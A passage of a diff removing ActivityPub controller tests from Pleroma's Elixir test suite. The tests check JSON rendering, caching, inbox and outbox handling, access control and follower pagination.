:internal_fetch)) - |> json_response(200) - - assert res["id"] =~ "/fetch" - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get(activity_pub_path(conn, :internal_fetch)) - |> json_response(404) - end - end - - describe "/users/:nickname" do - test "it returns a json representation of the user with accept application/json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns a json representation of the user with accept application/activity+json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns a json representation of the user with accept application/ld+json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header( - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns 404 for remote users", %{ - conn: conn - } do - user = insert(:user, local: false, nickname: "remoteuser@example.com") - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/#{user.nickname}.json") - - assert json_response(conn, 404) - end - - test "it returns error when user is not found", %{conn: conn} do - response = - conn - |> put_req_header("accept", "application/json") - |> get("/users/jimm") - |> json_response(404) - - assert response == "Not found" - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - - conn = - put_req_header( - conn, - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) - end - end - - describe "mastodon compatibility routes" do - test "it returns a json representation of the object with accept application/json", %{ - conn: conn - } do - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/raymoo/statuses/999999999") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: object}) - end - - test "it returns a json representation of the activity with accept application/json", %{ - conn: conn - } do - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - {:ok, activity, _} = - %{ - "id" => object.data["id"] <> "/activity", - "type" => "Create", - "object" => object.data["id"], - "actor" => object.data["actor"], - "to" => object.data["to"] - } - |> ActivityPub.persist(local: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/raymoo/statuses/999999999/activity") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) - end - end - - describe "/objects/:uuid" do - test "it returns a json representation of the object with accept application/json", %{ - conn: conn - } do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns a json representation of the object with accept application/activity+json", - %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns a json representation of the object with accept application/ld+json", %{ - conn: conn - } do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header( - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns 404 for non-public messages", %{conn: conn} do - note = insert(:direct_note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 404) - end - - test "it returns 404 for tombstone objects", %{conn: conn} do - tombstone = insert(:tombstone) - uuid = String.split(tombstone.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 404) - end - - test "it caches a response", %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) == json_response(conn2, :ok) - assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) - end - - test "cached purged after object deletion", %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - Object.delete(note) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert "Not found" == json_response(conn2, :not_found) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) - end - end - - describe "/activities/:uuid" do - test "it returns a json representation of the activity", %{conn: conn} do - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) - end - - test "it returns 404 for non-public activities", %{conn: conn} do - activity = insert(:direct_note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn, 404) - end - - test "it caches a response", %{conn: conn} do - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) == json_response(conn2, :ok) - assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) - end - - test "cached purged after activity deletion", %{conn: conn} do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "cofe"}) - - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - Activity.delete_all_by_object_ap_id(activity.object.data["id"]) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert "Not found" == json_response(conn2, :not_found) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) - end - end - - describe "/inbox" do - test "it inserts an incoming activity into the database", %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - @tag capture_log: true - test "it inserts an incoming activity into the database" <> - "even if we can't fetch the user but have it in our db", - %{conn: conn} do - user = - insert(:user, - ap_id: "https://mastodon.example.org/users/raymoo", - ap_enabled: true, - local: false, - last_refreshed_at: nil - ) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> put_in(["object", "attridbutedTo"], user.ap_id) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it clears `unreachable` federation status of the sender", %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - sender_url = data["actor"] - Instances.set_consistently_unreachable(sender_url) - refute Instances.reachable?(sender_url) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - assert Instances.reachable?(sender_url) - end - - test "accept follow activity", %{conn: conn} do - Pleroma.Config.put([:instance, :federating], true) - relay = Relay.get_actor() - - assert {:ok, %Activity{} = activity} = Relay.follow("https://relay.mastodon.host/actor") - - followed_relay = Pleroma.User.get_by_ap_id("https://relay.mastodon.host/actor") - relay = refresh_record(relay) - - accept = - File.read!("test/fixtures/relay/accept-follow.json") - |> String.replace("{{ap_id}}", relay.ap_id) - |> String.replace("{{activity_id}}", activity.data["id"]) - - assert "ok" == - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", accept) - |> json_response(200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - - assert Pleroma.FollowingRelationship.following?( - relay, - followed_relay - ) - - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - assert_receive {:mix_shell, :info, ["https://relay.mastodon.host/actor"]} - end - - @tag capture_log: true - test "without valid signature, " <> - "it only accepts Create activities and requires enabled federation", - %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - non_create_data = File.read!("test/fixtures/mastodon-announce.json") |> Poison.decode!() - - conn = put_req_header(conn, "content-type", "application/activity+json") - - Config.put([:instance, :federating], false) - - conn - |> post("/inbox", data) - |> json_response(403) - - conn - |> post("/inbox", non_create_data) - |> json_response(403) - - Config.put([:instance, :federating], true) - - ret_conn = post(conn, "/inbox", data) - assert "ok" == json_response(ret_conn, 200) - - conn - |> post("/inbox", non_create_data) - |> json_response(400) - end - end - - describe "/users/:nickname/inbox" do - setup do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - [data: data] - end - - test "it inserts an incoming activity into the database", %{conn: conn, data: data} do - user = insert(:user) - data = Map.put(data, "bcc", [user.ap_id]) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts messages with to as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "to", user.ap_id) - |> Map.delete("cc") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts messages with cc as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "cc", user.ap_id) - |> Map.delete("to") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - %Activity{} = activity = Activity.get_by_ap_id(data["id"]) - assert user.ap_id in activity.recipients - end - - test "it accepts messages with bcc as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "bcc", user.ap_id) - |> Map.delete("to") - |> Map.delete("cc") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts announces with to as string instead of array", %{conn: conn} do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "hey"}) - announcer = insert(:user, local: false) - - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => announcer.ap_id, - "id" => "#{announcer.ap_id}/statuses/19512778738411822/activity", - "object" => post.data["object"], - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [user.ap_id], - "type" => "Announce" - } - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - %Activity{} = activity = Activity.get_by_ap_id(data["id"]) - assert "https://www.w3.org/ns/activitystreams#Public" in activity.recipients - end - - test "it accepts messages from actors that are followed by the user", %{ - conn: conn, - data: data - } do - recipient = insert(:user) - actor = insert(:user, %{ap_id: "http://mastodon.example.org/users/actor"}) - - {:ok, recipient} = User.follow(recipient, actor) - - object = - data["object"] - |> Map.put("attributedTo", actor.ap_id) - - data = - data - |> Map.put("actor", actor.ap_id) - |> Map.put("object", object) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{recipient.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it rejects reads from other users", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, other_user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox") - - assert json_response(conn, 403) - end - - test "it returns a note activity in a collection", %{conn: conn} do - note_activity = insert(:direct_note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(hd(note_activity.data["to"])) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox?page=true") - - assert response(conn, 200) =~ note_object.data["content"] - end - - test "it clears `unreachable` federation status of the sender", %{conn: conn, data: data} do - user = insert(:user) - data = Map.put(data, "bcc", [user.ap_id]) - - sender_host = URI.parse(data["actor"]).host - Instances.set_consistently_unreachable(sender_host) - refute Instances.reachable?(sender_host) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - assert Instances.reachable?(sender_host) - end - - test "it removes all follower collections but actor's", %{conn: conn} do - [actor, recipient] = insert_pair(:user) - - data = - File.read!("test/fixtures/activitypub-client-post-activity.json") - |> Poison.decode!() - - object = Map.put(data["object"], "attributedTo", actor.ap_id) - - data = - data - |> Map.put("id", Utils.generate_object_id()) - |> Map.put("actor", actor.ap_id) - |> Map.put("object", object) - |> Map.put("cc", [ - recipient.follower_address, - actor.follower_address - ]) - |> Map.put("to", [ - recipient.ap_id, - recipient.follower_address, - "https://www.w3.org/ns/activitystreams#Public" - ]) - - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{recipient.nickname}/inbox", data) - |> json_response(200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - - activity = Activity.get_by_ap_id(data["id"]) - - assert activity.id - assert actor.follower_address in activity.recipients - assert actor.follower_address in activity.data["cc"] - - refute recipient.follower_address in activity.recipients - refute recipient.follower_address in activity.data["cc"] - refute recipient.follower_address in activity.data["to"] - end - - test "it requires authentication", %{conn: conn} do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ret_conn = get(conn, "/users/#{user.nickname}/inbox") - assert json_response(ret_conn, 403) - - ret_conn = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/inbox") - - assert json_response(ret_conn, 200) - end - end - - describe "GET /users/:nickname/outbox" do - test "it paginates correctly", %{conn: conn} do - user = insert(:user) - conn = assign(conn, :user, user) - outbox_endpoint = user.ap_id <> "/outbox" - - _posts = - for i <- 0..25 do - {:ok, activity} = CommonAPI.post(user, %{status: "post #{i}"}) - activity - end - - result = - conn - |> put_req_header("accept", "application/activity+json") - |> get(outbox_endpoint <> "?page=true") - |> json_response(200) - - result_ids = Enum.map(result["orderedItems"], fn x -> x["id"] end) - assert length(result["orderedItems"]) == 20 - assert length(result_ids) == 20 - assert result["next"] - assert String.starts_with?(result["next"], outbox_endpoint) - - result_next = - conn - |> put_req_header("accept", "application/activity+json") - |> get(result["next"]) - |> json_response(200) - - result_next_ids = Enum.map(result_next["orderedItems"], fn x -> x["id"] end) - assert length(result_next["orderedItems"]) == 6 - assert length(result_next_ids) == 6 - refute Enum.find(result_next_ids, fn x -> x in result_ids end) - refute Enum.find(result_ids, fn x -> x in result_next_ids end) - assert String.starts_with?(result["id"], outbox_endpoint) - - result_next_again = - conn - |> put_req_header("accept", "application/activity+json") - |> get(result_next["id"]) - |> json_response(200) - - assert result_next == result_next_again - end - - test "it returns 200 even if there're no activities", %{conn: conn} do - user = insert(:user) - outbox_endpoint = user.ap_id <> "/outbox" - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get(outbox_endpoint) - - result = json_response(conn, 200) - assert outbox_endpoint == result["id"] - end - - test "it returns a note activity in a collection", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox?page=true") - - assert response(conn, 200) =~ note_object.data["content"] - end - - test "it returns an announce activity in a collection", %{conn: conn} do - announce_activity = insert(:announce_activity) - user = User.get_cached_by_ap_id(announce_activity.data["actor"]) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox?page=true") - - assert response(conn, 200) =~ announce_activity.data["object"] - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) - end - end - - describe "POST /users/:nickname/outbox (C2S)" do - setup do: clear_config([:instance, :limit]) - - setup do - [ - activity: %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "object" => %{"type" => "Note", "content" => "AP C2S test"}, - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [] - } - ] - end - - test "it rejects posts from other users / unauthenticated users", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - other_user = insert(:user) - conn = put_req_header(conn, "content-type", "application/activity+json") - - conn - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(403) - - conn - |> assign(:user, other_user) - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(403) - end - - test "it inserts an incoming create activity into the database", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - - result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(201) - - assert Activity.get_by_ap_id(result["id"]) - assert result["object"] - assert %Object{data: object} = Object.normalize(result["object"]) - assert object["content"] == activity["object"]["content"] - end - - test "it rejects anything beyond 'Note' creations", %{conn: conn, activity: activity} do - user = insert(:user) - - activity = - activity - |> put_in(["object", "type"], "Benis") - - _result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(400) - end - - test "it inserts an incoming sensitive activity into the database", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - conn = assign(conn, :user, user) - object = Map.put(activity["object"], "sensitive", true) - activity = Map.put(activity, "object", object) - - response = - conn - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(201) - - assert Activity.get_by_ap_id(response["id"]) - assert response["object"] - assert %Object{data: response_object} = Object.normalize(response["object"]) - assert response_object["sensitive"] == true - assert response_object["content"] == activity["object"]["content"] - - representation = - conn - |> put_req_header("accept", "application/activity+json") - |> get(response["id"]) - |> json_response(200) - - assert representation["object"]["sensitive"] == true - end - - test "it rejects an incoming activity with bogus type", %{conn: conn, activity: activity} do - user = insert(:user) - activity = Map.put(activity, "type", "BadType") - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - - assert json_response(conn, 400) - end - - test "it erects a tombstone when receiving a delete activity", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - data = %{ - type: "Delete", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - result = json_response(conn, 201) - assert Activity.get_by_ap_id(result["id"]) - - assert object = Object.get_by_ap_id(note_object.data["id"]) - assert object.data["type"] == "Tombstone" - end - - test "it rejects delete activity of object from other actor", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = insert(:user) - - data = %{ - type: "Delete", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - assert json_response(conn, 400) - end - - test "it increases like count when receiving a like action", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - data = %{ - type: "Like", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - result = json_response(conn, 201) - assert Activity.get_by_ap_id(result["id"]) - - assert object = Object.get_by_ap_id(note_object.data["id"]) - assert object.data["like_count"] == 1 - end - - test "it doesn't spreads faulty attributedTo or actor fields", %{ - conn: conn, - activity: activity - } do - reimu = insert(:user, nickname: "reimu") - cirno = insert(:user, nickname: "cirno") - - assert reimu.ap_id - assert cirno.ap_id - - activity = - activity - |> put_in(["object", "actor"], reimu.ap_id) - |> put_in(["object", "attributedTo"], reimu.ap_id) - |> put_in(["actor"], reimu.ap_id) - |> put_in(["attributedTo"], reimu.ap_id) - - _reimu_outbox = - conn - |> assign(:user, cirno) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{reimu.nickname}/outbox", activity) - |> json_response(403) - - cirno_outbox = - conn - |> assign(:user, cirno) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{cirno.nickname}/outbox", activity) - |> json_response(201) - - assert cirno_outbox["attributedTo"] == nil - assert cirno_outbox["actor"] == cirno.ap_id - - assert cirno_object = Object.normalize(cirno_outbox["object"]) - assert cirno_object.data["actor"] == cirno.ap_id - assert cirno_object.data["attributedTo"] == cirno.ap_id - end - - test "Character limitation", %{conn: conn, activity: activity} do - Pleroma.Config.put([:instance, :limit], 5) - user = insert(:user) - - result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(400) - - assert result == "Note is over the character limit" - end - end - - describe "/relay/followers" do - test "it returns relay followers", %{conn: conn} do - relay_actor = Relay.get_actor() - user = insert(:user) - User.follow(user, relay_actor) - - result = - conn - |> get("/relay/followers") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user.ap_id] - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get("/relay/followers") - |> json_response(404) - end - end - - describe "/relay/following" do - test "it returns relay following", %{conn: conn} do - result = - conn - |> get("/relay/following") - |> json_response(200) - - assert result["first"]["orderedItems"] == [] - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get("/relay/following") - |> json_response(404) - end - end - - describe "/users/:nickname/followers" do - test "it returns the followers in a collection", %{conn: conn} do - user = insert(:user) - user_two = insert(:user) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user_two) - |> get("/users/#{user_two.nickname}/followers") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user.ap_id] - end - - test "it returns a uri if the user has 'hide_followers' set", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_followers: true) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/followers") - |> json_response(200) - - assert is_binary(result["first"]) - end - - test "it returns a 403 error on pages, if the user has 'hide_followers' set and the request is from another user", - %{conn: conn} do - user = insert(:user) - other_user = insert(:user, hide_followers: true) - - result = - conn - |> assign(:user, user) - |> get("/users/#{other_user.nickname}/followers?page=1") - - assert result.status == 403 - assert result.resp_body == "" - end - - test "it renders the page, if the user has 'hide_followers' set and the request is authenticated with the same user", - %{conn: conn} do - user = insert(:user, hide_followers: true) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers?page=1") - |> json_response(200) - - assert result["totalItems"] == 1 - assert result["orderedItems"] == [other_user.ap_id] - end - - test "it works for more than 10 users", %{conn: conn} do - user = insert(:user) - - Enum.each(1..15, fn _ -> - other_user = insert(:user) - User.follow(other_user, user) - end) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers") - |> json_response(200) - - assert length(result["first"]["orderedItems"]) == 10 - assert result["first"]["totalItems"] == 15 - assert result["totalItems"] == 15 - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers?page=2") - |> json_response(200) - - assert length(result["orderedItems"]) == 5 - assert result["totalItems"] == 15 - end - - test "does not require authentication", %{conn: conn} do - user = insert(:user) - - conn - |> get("/users/#{user.nickname}/followers") - |> json_response(200) - end - end - - describe "/users/:nickname/following" do - test "it returns the following in a collection", %{conn: conn} do - user = insert(:user) - user_two = insert(:user) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user_two.ap_id] - end - - test "it returns a uri if the user has 'hide_follows' set", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_follows: true) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/following") - |> json_response(200) - - assert is_binary(result["first"]) - end - - test "it returns a 403 error on pages, if the user has 'hide_follows' set and the request is from another user", - %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_follows: true) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/following?page=1") - - assert result.status == 403 - assert result.resp_body == "" - end - - test "it renders the page, if the user has 'hide_follows' set and the request is authenticated with the same user", - %{conn: conn} do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following?page=1") - |> json_response(200) - - assert result["totalItems"] == 1 - assert result["orderedItems"] == [other_user.ap_id] - end - - test "it works for more than 10 users", %{conn: conn} do - user = insert(:user) - - Enum.each(1..15, fn _ -> - user = User.get_cached_by_id(user.id) - other_user = insert(:user) - User.follow(user, other_user) - end) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following") - |> json_response(200) - - assert length(result["first"]["orderedItems"]) == 10 - assert result["first"]["totalItems"] == 15 - assert result["totalItems"] == 15 - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following?page=2") - |> json_response(200) - - assert length(result["orderedItems"]) == 5 - assert result["totalItems"] == 15 - end - - test "does not require authentication", %{conn: conn} do - user = insert(:user) - - conn - |> get("/users/#{user.nickname}/following") - |> json_response(200) - end - end - - describe "delivery tracking" do - test "it tracks a signed object fetch", %{conn: conn} do - user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(object_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - end - - test "it tracks a signed activity fetch", %{conn: conn} do - user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(activity_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - end - - test "it tracks a signed object fetch when the json is cached", %{conn: conn} do - user = insert(:user, local: false) - other_user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") 